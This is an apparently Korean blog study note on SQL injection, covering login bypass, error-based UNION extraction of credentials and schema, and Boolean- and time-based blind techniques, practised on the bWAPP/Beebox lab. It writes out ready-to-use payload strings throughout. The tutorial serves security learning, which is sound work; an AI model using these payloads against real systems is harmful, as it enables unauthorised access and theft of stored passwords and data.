1. SQL Injection
- SQL Query를 처리하는 과정에서 예상치 못한 입력 값에 의해 [입력 값 검증 미흡]
DBMS 정보 노출, 특정 명령어 실행 등이 발생하는 취약점 - 공격자는 정상적인 값 대신 자신이 원하는 값을 웹에 요청하고,
이를 웹은 데이터베이스에 요청을 한 뒤
결과 값이 웹을 통해 노출되거나 유추할 수 있는 형태로 출력됨
2. SQL Injection을 이용한 인증 우회
쿼리 질의문의 구조를 파악하여 SQL 문을 삽입한다
Select * from members where id=admin and pass=1234
질의문을 항상 참으로 만들어 인증을 우회
Select * from members where id=admin'or 1=1# and pass='or 1=1#
mysql # (주석처리)
mssql, oracle -- (주석처리)
여러 가지 문법을 예측하여 시도한다
'or'x'='x
')or('x'='x
"or"x"="x
")or("x"="x
3. Error Based SQLi을 이용한 데이터베이스 정보 획득
웹을 통해서 데이터베이스의 원하는 값을 하나씩 가져와 중요정보 획득
0'UNION SELECT ALL 1,concat(id,login,password),3,4,concat(email,secret),6,7 from users#
Beebox에서 실습
', "로 search를 시도하면 '에서 sql error가 나옴으로써 해당 입력부가 sql 인젝션이 가능함을 알 수 있고,
문법적으로 '을 사용함을 알 수 있다.
항상 조건을 참으로 만들어보면 database에 저장되어 있는 모든 목록이 나오게 되고,
이를 직접 database에서 확인해 볼 수 있다.
union을 이용해서 column의 개수를 추측하고 각 컬럼에서 어떤 것이 웹에 나오는 확인
2,3,4,5 자리에 information_schema.tables 의 table_name을 가져올 수 있다.
0' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables#
얻어낸 schema column들의 정보를 토대로 원하는 table의 column값을 조회하면
0' UNION SELECT ALL 1,login,password,4,email,6,7 from users#
암호화된 비밀번호를 얻을 수 있고, kali의 hash-identifier를 이용해 어떤 방식의 암호화인지 알아낼 수 있다.
4. Blind SQLi을 이용한 데이터베이스 정보 추측 및 획득
웹에서 데이터베이스의 에러 정보가 노출되지 않기 때문에 참과 거짓으로 정보 추측
Error based injection이 불가능할 때 사용
'or 1=1 and length(database())=5#
'or 1=1 and substring(database(),1,1)='b'#
'or 1=1 and ascii(substring(database(),1,1))=98#
Beebox SQL injection - Blind - Boolean-Based에서 실습
참값과 거짓값에 대하여 다르게 페이지 출력
이미 bWAPP로 알고 있는 데이터베이스의 정보를 기준으로 다음과 같이
database의 길이값과 문자를 하나씩 추출해 나간다.
자동화 도구 및 파이썬 코딩으로 반자동화하여 추출.
5. Time Based SQLi을 이용한 데이터베이스 정보 추측 및 획득
sleep() / waitfor() 함수를 이용하여 데이터베이스 스레드 동작 정지 여부를 보고 판단
Blind SQLi 조차 알 수 없을 때 사용한다.
'or 1=1 and sleep(5)#
'or 1=1 and length(database())=5 and sleep(5)#
'or 1=1 and substring(database(),1,1)='b' and sleep(5)#
Beebox SQL injection - Blind - Time-Based에서 실습
참값과 거짓값에 대하여 참값에서만 지연시간이 생김
'Security Project' 카테고리의 다른 글
41. Error based SQL Injection 실습 (0) | 2023.01.11 |
---|---|
40. sqlmap 활용한 자동 진단 (0) | 2023.01.10 |
38. ReflectedXSS 취약점 실습 + BeEF 실습 (1) | 2023.01.05 |
37. StoredXSS 취약점 실습 (2) | 2023.01.04 |
36. XSS 취약점 이해 - 공격 유형 및 기법 (0) | 2023.01.02 |
댓글